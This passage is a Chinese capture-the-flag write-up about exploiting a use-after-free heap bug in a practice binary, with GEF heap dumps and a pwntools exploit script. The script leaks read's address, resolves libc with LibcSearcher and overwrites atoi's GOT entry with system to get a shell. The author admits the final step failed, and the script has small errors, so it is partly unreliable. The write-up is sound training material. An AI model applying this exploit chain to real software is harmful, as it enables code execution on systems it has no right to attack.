Tcachebins[idx=1, size=0x20] count=1 ← Chunk(addr=0x604280, size=0x30,
flags=PREV_INUSE)
──────────────────────────────── Fastbins for arena 0x7ffff7dcfc40────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────────────── Unsorted Bin for arena 'main_arena'───────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────── Small Bins for arena 'main_arena'────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────── Large Bins for arena 'main_arena'────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
再删除一个
gef➤ heap bins
─────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40 ───────────────────────────────
Tcachebins[idx=0, size=0x10] count=2 ← Chunk(addr=0x6042b0, size=0x20,
flags=PREV_INUSE) ← Chunk(addr=0x604260, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=1, size=0x20] count=2 ← Chunk(addr=0x6042d0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x604280, size=0x30, flags=PREV_INUSE)
──────────────────────────────── Fastbins for arena 0x7ffff7dcfc40 ────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
可以看到删除的在bins里面以链表的形式存在。因为之前的指针没有置空,所以在内存还存在着数据
gef➤ x/70g 0x0000000000604240
0x604240: 0x0000000000000000 0x0000000000000000
0x604250: 0x0000000000000000 0x0000000000000021
0x604260: 0x0000000000000000 0x0000000100000001
0x604270: 0x0000000000604280 0x0000000000000031
0x604280: 0x0000000000000000 0x6161616161616161
0x604290: 0x6161616161616161 0x6161616161616161
0x6042a0: 0x0000000000000000 0x0000000000000021
0x6042b0: 0x0000000000604260 0x0000000100000001
0x6042c0: 0x00000000006042d0 0x0000000000000031
0x6042d0: 0x0000000000604280 0x6262626262626262
0x6042e0: 0x6262626262626262 0x6262626262626262
0x6042f0: 0x0000000000000000 0x0000000000020d11
0x604300: 0x0000000000000000 0x0000000000000000
因为在bins里是以链表的形式存在的所以0x6042b0存的是前面的地址。
根据linux的堆管理机制,当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
所以如果我们再申请一个和前面释放的一样大小的内存空间,那么系统将会把bins里面的空间重新拿出来用。
在这道题如果我们再申请一个0x18的空间,申请的name为read的plt地址,那么我们就可以把read加入到堆中,再利用程序原本就有的显示功能就可以打印出read的真实地址,那么我们就可以找到libc的版本号了。
gef➤ x/70ag 0x016ec240
0x16ec240: 0x0 0x0
0x16ec250: 0x0 0x21
0x16ec260: 0x400d60 <read@plt> 0x400000003
0x16ec270: 0x16ec280 0x31
0x16ec280: 0x0 0x6161616161616161
0x16ec290: 0x6161616161616161 0x6161616161616161
0x16ec2a0: 0x0 0x21
0x16ec2b0: 0x200000001 0x400000003
0x16ec2c0: 0x16ec260 0x31
0x16ec2d0: 0x16ec280 0x6262626262626262
0x16ec2e0: 0x6262626262626262 0x6262626262626262
0x16ec2f0: 0x0 0x20d11
0x16ec300: 0x0 0x0
可以看到read.plt的地址已经在堆中(这里的地址和上面不一样是因为上面是用gdb直接调试的,现在的是用脚本在gdb调试)
接下来我们就可以用LibcSearcher拿到libc的版本,从而拿到了ststem的地址。
剩下的就是如何使system执行。菜单里的edit可以导致任意地址写漏洞
所以我们可以构造 payload 来覆写它的数据。如果我们用一个自己选择的指针(GOT条目)来覆写原来的指针,然后使用它调用 edit 函数,将能够重定向代码的执行。
选择 GOT 里的 atoi 函数来覆写 。原因是 atoi 接收一个指向我们输入的指针,然后将其转换回整数。如果将 atoi 换成 system函数,并提供 sh 作为 system 的参数,就能得到 shell。
gef➤ x/70g 0x016ec240
0x16ec240: 0x0000000000000000 0x0000000000000000
0x16ec250: 0x0000000000000000 0x0000000000000021
0x16ec260: 0x0000000200000001 0x0000000400000003
0x16ec270: 0x00000000016ec2b0 0x0000000000000031
0x16ec280: 0x00000000016ec2d0 0x6262626262626262
0x16ec290: 0x6262626262626262 0x6262626262626262
0x16ec2a0: 0x0000000000000000 0x0000000000000021
0x16ec2b0: 0x0000000000603110 0x0000000400000003
0x16ec2c0: 0x00000000016ec2d0 0x0000000000000031
0x16ec2d0: 0x0000000000000000 0x6161616161616161
0x16ec2e0: 0x6161616161616161 0x6161616161616161
0x16ec2f0: 0x0000000000000000 0x0000000000020d11
0x16ec300: 0x0000000000000000 0x0000000000000000
我们可以看到在0x16ec2b0的位置已经是atoi的got的地址了,接下来按理说直接调用edit将system覆盖它然后输入‘sh’就能拿到shell,但我这里失败了,不知道原因出在哪里。
Exp:
from pwn import *
from LibcSearcher import *
context.terminal = ['terminator','-x','sh','-c']
r=process('./main')
elf=ELF('main')
pwnlib.gdb.attach(r)
read_plt=elf.plt['read']
def add_player(name):
r.recvuntil("Your choice: ")
r.sendline('1')
r.recvuntil("Enter player name: ")
r.sendline(name)
r.recvuntil("Enter attack points: ")
r.sendline('1')
r.recvuntil("Enter defense points: ")
r.sendline('2')
r.recvuntil("Enter speed: ")
r.sendline('3')
r.recvuntil("Enter precision: ")
r.sendline('4')
def delete_player(index):
r.recvuntil("Your choice: ")
r.sendline('2')
r.recvuntil("Enter index: ")
r.sendline(index)
def edit_player_name(name):
r.recvuntil("Your choice: ")
r.sendline("4")
r.recvuntil("Your choice: ")
r.sendline("1")
r.recvuntil("Enter new name: ")
r.sendline(name)
add_player('a'*32)
add_player('b'*32)
delete_player('0')
delete_player('1')
add_player(p64(read_plt)+'a'*(0x17-len(p64(read_plt))))
r.recvuntil("Your choice: ")
r.sendline('3')
r.recvuntil("Enter index: ")
r.sendline('0')
r.recvuntil("Name: ")
read_addr=u64(r.recv(4).ljust(8, 'x00'))
print(read_addr)
libc=LibcSearcher('read',read_addr)
base_addr=read_addr-libc.dump('read')
system_addr=base_addr+libc.dump('system')
binsh_addr=base_addr+libc.dump('str_bin_sh')
print(system_addr)
delete_player('0')
add_player('a'*32)
add_player('b'*32)
delete_player('0')
delete_player('1')
atoi_addr=elf.got['atoi']
print(hex(atoi_addr))
add_player(p64(atoi_addr)+'a'*(0x17-len(p64(atoi_addr))))
edit_player_name(p64(system_addr))
r.recvuntil("Your choice: ")
r.sendline('sh')
r.interactive()
参考链接:
https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580
http://www.myh0st.cn/index.php/archives/916/
参考链接:
https://blog.csdn.net/qq_31481187/article/details/73612451?locationNum=10&fps=1
https://www.cnblogs.com/alert123/p/4918041.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/